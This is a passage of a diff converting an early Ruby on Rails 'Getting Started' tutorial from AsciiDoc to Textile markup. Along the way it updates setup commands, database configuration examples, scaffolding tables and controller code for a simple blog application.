+A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application’s business logic will be concentrated in the models.
 
-==== Views
+h5. Views
 
 Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.
 
-==== Controllers
+h5. Controllers
 
 Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.
 
-=== The Components of Rails
+h4. The Components of Rails
 
 Rails provides a full stack of components for creating web applications, including:
 
@@ -66,116 +69,117 @@ Rails provides a full stack of components for creating web applications, includi
 * Railties
 * Active Support
 
-==== Action Controller
+h5. Action Controller
 
 Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.
 
-==== Action View
+h5. Action View
 
 Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.
 
-==== Active Record
+h5. Active Record
 
 Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.
 
-==== Action Mailer
+h5. Action Mailer
 
 Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.
 
-==== Active Resource
+h5. Active Resource
 
 Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.
 
-==== Railties
+h5. Railties
 
 Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.
 
-==== Active Support
+h5. Active Support
 
-Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications. 
+Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.
 
-=== REST
+h4. REST
 
-The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+The foundation of the RESTful architecture is generally considered to be Roy Fielding’s doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
 
 * Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components. 
+* Transferring representations of the state of that resource between system components.
 
 For example, to a Rails application a request such as this:
 
-+DELETE /photos/17+
+<tt>DELETE /photos/17</tt>
 
-would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
+would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities and browser quirks.
 
 If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:
 
-* link:http://www.infoq.com/articles/rest-introduction[A Brief Introduction to REST] by Stefan Tilkov
-* link:http://bitworking.org/news/373/An-Introduction-to-REST[An Introduction to REST] (video tutorial) by Joe Gregorio
-* link:http://en.wikipedia.org/wiki/Representational_State_Transfer[Representational State Transfer] article in Wikipedia
+* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
+* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
+* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
+* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson
 
-== Creating a New Rails Project
+h3. Creating a New Rails Project
 
-If you follow this guide, you'll create a Rails project called +blog+, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
+If you follow this guide, you’ll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
 
-=== Installing Rails
+h4. Installing Rails
 
 In most cases, the easiest way to install Rails is to take advantage of RubyGems:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ gem install rails
--------------------------------------------------------
+</shell>
 
-NOTE: There are some special circumstances in which you might want to use an alternate installation strategy:
+NOTE. There are some special circumstances in which you might want to use an alternate installation strategy:
 
-* If you're working on Windows, you may find it easier to install link:http://instantrails.rubyforge.org/wiki/wiki.pl[Instant Rails]. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-* If you want to keep up with cutting-edge changes to Rails, you'll want to clone the link:http://github.com/rails/rails/tree/master[Rails source code] from github. This is not recommended as an option for beginners, though.
+* If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that "Instant Rails":http://instantrails.rubyforge.org/wiki/wiki.pl releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+* If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the "Rails source code":http://github.com/rails/rails/tree/master from github. This is not recommended as an option for beginners, though.
 
-=== Creating the Blog Application
+h4. Creating the Blog Application
 
 Open a terminal, navigate to a folder where you have rights to create files, and type:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rails blog
--------------------------------------------------------
+</shell>
 
 This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rails blog -d mysql
--------------------------------------------------------
+</shell>
 
-And if you're using PostgreSQL for data storage, run this command:
+And if you’re using PostgreSQL for data storage, run this command:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rails blog -d postgresql
--------------------------------------------------------
+</shell>
 
-In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
+TIP. You can see all of the switches that the Rails application builder accepts by running <tt>rails -h</tt>.
 
-[grid="all"]
-`-----------`-----------------------------------------------------------------------------------------------------------------------------
-File/Folder Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-+README+		This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
-+Rakefile+	This file contains batch jobs that can be run from the terminal.
-+app/+		Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
-+config/+		Configure your application's runtime rules, routes, database, and more.
-+db/+			Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
-+doc/+		In-depth documentation for your application.
-+lib/+		Extended modules for your application (not covered in this guide).
-+log/+		Application log files.
-+public/+		The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.
-+script/+		Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
-+test/+		Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
-+tmp/+		Temporary files
-+vendor/+		A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
--------------------------------------------------------------------------------------------------------------------------------------------
+After you create the blog application, switch to its folder to continue work directly in that application:
 
-=== Configuring a Database
+<shell>
+$ cd blog
+</shell>
+
+In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default:
+
+|_.File/Folder|_.Purpose|
+|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.|
+|Rakefile|This file contains batch jobs that can be run from the terminal.|
+|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.|
+|config/|Configure your application's runtime rules, routes, database, and more.|
+|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
+|doc/|In-depth documentation for your application.|
+|lib/|Extended modules for your application (not covered in this guide).|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.|
+|script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
+|tmp/|Temporary files|
+|vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
+
+h4. Configuring a Database
 
 Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+.
 If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
@@ -184,173 +188,170 @@ If you open this file in a new Rails application, you'll see a default database
 * The +test+ environment is used to run automated tests
 * The +production+ environment is used when you deploy your application for the world to use.
 
-==== Configuring a SQLite Database
+h5. Configuring a SQLite Database
 
-Rails comes with built-in support for link:http://www.sqlite.org/[SQLite], which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
+Rails comes with built-in support for "SQLite":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
 
 Here's the section of the default configuration file with connection information for the development environment:
 
-[source, ruby]
--------------------------------------------------------
+<yaml>
 development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  timeout: 5000
--------------------------------------------------------
+adapter: sqlite3
+database: db/development.sqlite3
+pool: 5
+timeout: 5000
+</yaml>
 
 If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
 
-If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem.  Similar to installing Rails you just need to run:
-
-[source, shell]
--------------------------------------------------------
+<shell>
 $ gem install sqlite3-ruby
--------------------------------------------------------
+</shell>
 
-==== Configuring a MySQL Database
+h5. Configuring a MySQL Database
 
 If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section:
 
-[source, ruby]
--------------------------------------------------------
+<yaml>
 development:
-  adapter: mysql
-  encoding: utf8
-  database: blog_development
-  username: root
-  password:
-  socket: /tmp/mysql.sock
--------------------------------------------------------
+adapter: mysql
+encoding: utf8
+database: blog_development
+pool: 5
+username: root
+password:
+socket: /tmp/mysql.sock
+</yaml>
+
 If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
 
-==== Configuring a PostgreSQL Database
+h5. Configuring a PostgreSQL Database
 
 If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
 
-[source, ruby]
--------------------------------------------------------
+<yaml>
 development:
-  adapter: postgresql
-  encoding: unicode
-  database: blog_development
-  username: blog
-  password:
--------------------------------------------------------
+adapter: postgresql
+encoding: unicode
+database: blog_development
+pool: 5
+username: blog
+password:
+</yaml>
 
 Change the username and password in the +development+ section as appropriate.
 
-== Hello, Rails!
+h4. Creating the Database
+
+Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:
+
+<shell>
+$ rake db:create
+</shell>
+
+NOTE. Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+.
+
+h3. Hello, Rails!
 
 One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ script/generate controller home index
--------------------------------------------------------
+</shell>
 
-TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
+TIP. If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
 
 Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code:
 
-[source, html]
--------------------------------------------------------
+<code class="html">
 <h1>Hello, Rails!</h1>
--------------------------------------------------------
+</code>
 
-=== Starting up the Web Server
+h4. Starting up the Web Server
 
 You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ script/server
--------------------------------------------------------
+</shell>
 
-This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
+This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
 
-image:images/rails_welcome.png[Welcome Aboard screenshot]
+!images/rails_welcome.png(Welcome Aboard screenshot)!
 
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+TIP. To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
 
-The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
+The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
 
-=== Setting the Application Home Page
+h4. Setting the Application Home Page
 
 You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ rm public/index.html
--------------------------------------------------------
+</shell>
 
 Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id'
 map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
 
 The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1.
 
 To hook up your home page, you need to add another line to the routing file, above the default routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.root :controller => "home"
--------------------------------------------------------
+</ruby>
 
 This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action.
 
 Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view.
 
-NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In].
+NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html.
 
-== Getting Up and Running Quickly With Scaffolding
+h3. Getting Up and Running Quickly With Scaffolding
 
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. 
+Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
 
-== Creating a Resource
+h3. Creating a Resource
 
 In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ script/generate scaffold Post name:string title:string content:text
--------------------------------------------------------
+</shell>
 
-NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+NOTE. While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
 
-The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
+The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
 
-[grid="all"]
-`---------------------------------------------`--------------------------------------------------------------------------------------------
-File                                          Purpose
-------------------------------------------------------------------------------------------------------------------------------------------
-app/models/post.rb                            The Post model
-db/migrate/20081013124235_create_posts.rb     Migration to create the posts table in your database (your name will include a different timestamp)
-app/views/posts/index.html.erb                A view to display an index of all posts 
-app/views/posts/show.html.erb                 A view to display a single post
-app/views/posts/new.html.erb                  A view to create a new post
-app/views/posts/edit.html.erb                 A view to edit an existing post
-app/views/layouts/posts.html.erb              A view to control the overall look and feel of the other posts views
-public/stylesheets/scaffold.css               Cascading style sheet to make the scaffolded views look better
-app/controllers/posts_controller.rb           The Posts controller
-test/functional/posts_controller_test.rb      Functional testing harness for the posts controller
-app/helpers/posts_helper.rb                   Helper functions to be used from the posts views
-config/routes.rb                              Edited to include routing information for posts
-test/fixtures/posts.yml                       Dummy posts for use in testing
-test/unit/post_test.rb                        Unit testing harness for the posts model
--------------------------------------------------------------------------------------------------------------------------------------------
+|_.File                                        |_.Purpose|
+|app/models/post.rb                            |The Post model|
+|db/migrate/20090113124235_create_posts.rb     |Migration to create the posts table in your database (your name will include a different timestamp)|
+|app/views/posts/index.html.erb                |A view to display an index of all posts |
+|app/views/posts/show.html.erb                 |A view to display a single post|
+|app/views/posts/new.html.erb                  |A view to create a new post|
+|app/views/posts/edit.html.erb                 |A view to edit an existing post|
+|app/views/layouts/posts.html.erb              |A view to control the overall look and feel of the other posts views|
+|public/stylesheets/scaffold.css               |Cascading style sheet to make the scaffolded views look better|
+|app/controllers/posts_controller.rb           |The Posts controller|
+|test/functional/posts_controller_test.rb      |Functional testing harness for the posts controller|
+|app/helpers/posts_helper.rb                   |Helper functions to be used from the posts views|
+|config/routes.rb                              |Edited to include routing information for posts|
+|test/fixtures/posts.yml                       |Dummy posts for use in testing|
+|test/unit/post_test.rb                        |Unit testing harness for the posts model|
+|test/unit/helpers/posts_helper_test.rb        |Unit testing harness for the posts helper|
 
-=== Running a Migration
+h4. Running a Migration
 
 One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
 
-If you look in the +db/migrate/20081013124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
+If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class CreatePosts < ActiveRecord::Migration
   def self.up
     create_table :posts do |t|
@@ -366,106 +367,99 @@ class CreatePosts < ActiveRecord::Migration
     drop_table :posts
   end
 end
--------------------------------------------------------
+</ruby>
 
-If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide.
+If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the "Rails Database Migrations":migrations.html guide.
 
-At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:
+At this point, you can use a rake command to run the migration:
 
-[source, shell]
--------------------------------------------------------
-$ rake db:create
+<shell>
 $ rake db:migrate
--------------------------------------------------------
+</shell>
 
-NOTE: Because you're working in the development environment by default, both of these commands will apply to the database defined in the +development+ section of your +config/database.yml+ file.
+Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
 
-=== Adding a Link
+NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
+
+h4. Adding a Link
 
 To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows:
 
-[source, ruby]
--------------------------------------------------------
+<code lang="ruby">
 <h1>Hello, Rails!</h1>
-
 <%= link_to "My Blog", posts_path %>
--------------------------------------------------------
+</code>
 
 The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
 
-=== Working with Posts in the Browser
+h4. Working with Posts in the Browser
 
 Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link:
 
-image:images/posts_index.png[Posts Index screenshot]
+!images/posts_index.png(Posts Index screenshot)!
 
 This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command.
 
-TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+TIP. In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
 
 Congratulations, you're riding the rails! Now it's time to see how it all works.
 
-=== The Model
+h4. The Model
 
 The model file, +app/models/post.rb+ is about as simple as it can get:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Post < ActiveRecord::Base
 end
--------------------------------------------------------
+</ruby>
 
 There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
 
-=== Adding Some Validation
+h4. Adding Some Validation
 
 Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
 end
--------------------------------------------------------
+</ruby>
 
 These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
 
-=== Using the Console
+h4. Using the Console
 
 To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 $ script/console
--------------------------------------------------------
+</shell>
 
 After the console loads, you can use it to work with your application's models:
 
-[source, shell]
--------------------------------------------------------
+<shell>
 >> p = Post.create(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil, content: "A new post", 
+=> #<Post id: nil, name: nil, title: nil, content: "A new post",
 created_at: nil, updated_at: nil>
 >> p.save
 => false
 >> p.errors
-=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil, 
-title: nil, content: "A new post", created_at: nil, updated_at: nil>, 
-@errors={"name"=>["can't be blank"], "title"=>["can't be blank", 
+=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
+title: nil, content: "A new post", created_at: nil, updated_at: nil>,
+@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
 "is too short (minimum is 5 characters)"]}>
--------------------------------------------------------
+</shell>
 
 This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post.
 
-TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type +reload!+ at the console prompt to load them.
+TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them.
 
-=== Listing All Posts
+h4. Listing All Posts
 
 The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def index
   @posts = Post.find(:all)
 
@@ -474,16 +468,15 @@ def index
     format.xml  { render :xml => @posts }
   end
 end
--------------------------------------------------------
+</ruby>
 
 This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions.
 
-TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders].
+TIP: For more information on finding records with Active Record, see "Active Record Query Interface":active_record_querying.html.
 
 The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>Listing posts</h1>
 
 <table>
@@ -500,7 +493,8 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
     <td><%=h post.content %></td>
     <td><%= link_to 'Show', post %></td>
     <td><%= link_to 'Edit', edit_post_path(post) %></td>
-    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
+    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
+            :method => :delete %></td>
   </tr>
 <% end %>
 </table>
@@ -508,7 +502,7 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
 <br />
 
 <%= link_to 'New post', new_post_path %>
--------------------------------------------------------
+</erb>
 
 This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view:
 
@@ -516,20 +510,20 @@ This view iterates over the contents of the +@posts+ array to display content an
 * +link_to+ builds a hyperlink to a particular destination
 * +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
 
-TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails].
+TIP. For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html.
 
-=== Customizing the Layout
+h4. Customizing the Layout
 
 The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
-  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
+  <meta http-equiv="content-type"
+        content="text/html;charset=UTF-8" />
   <title>Posts: <%= controller.action_name %></title>
   <%= stylesheet_link_tag 'scaffold' %>
 </head>
@@ -541,16 +535,15 @@ The view is only part of the story of how HTML is displayed in your web browser.
 
 </body>
 </html>
--------------------------------------------------------
+</erb>
 
 Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
 
-=== Creating New Posts
+h4. Creating New Posts
 
 Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def new
   @post = Post.new
 
@@ -559,12 +552,11 @@ def new
     format.xml  { render :xml => @post }
   end
 end
--------------------------------------------------------
+</ruby>
 
 The +new.html.erb+ view displays this empty Post to the user:
 
-[source, ruby]
--------------------------------------------------------
+<erb>
 <h1>New post</h1>
 
 <% form_for(@post) do |f| %>
@@ -588,7 +580,7 @@ The +new.html.erb+ view displays this empty Post to the user:
 <% end %>
 
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+</erb>
 
 The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
 
@@ -596,8 +588,7 @@ TIP: If you need to create an HTML form that displays arbitrary fields, not tied
 
 When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 def create
   @post = Post.new(params[:post])
 
@@ -605,25 +596,26 @@ def create
     if @post.save
       flash[:notice] = 'Post was successfully created.'
       format.html { redirect_to(@post) }
-      format.xml  { render :xml => @post, :status => :created, :location => @post }
+      format.xml  { render :xml => @post, :status => :created,
+	                :location => @post }
     else
       format.html { render :action => "new" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+      format.xml  { render :xml => @post.errors,
+	                :status => :unprocessable_entity }
     end
   end
 end
--------------------------------------------------------
+</ruby>
 
 The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages.
 
 Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created."
 
-=== Showing an Individual Post
+h4. Showing an Individual Post
 
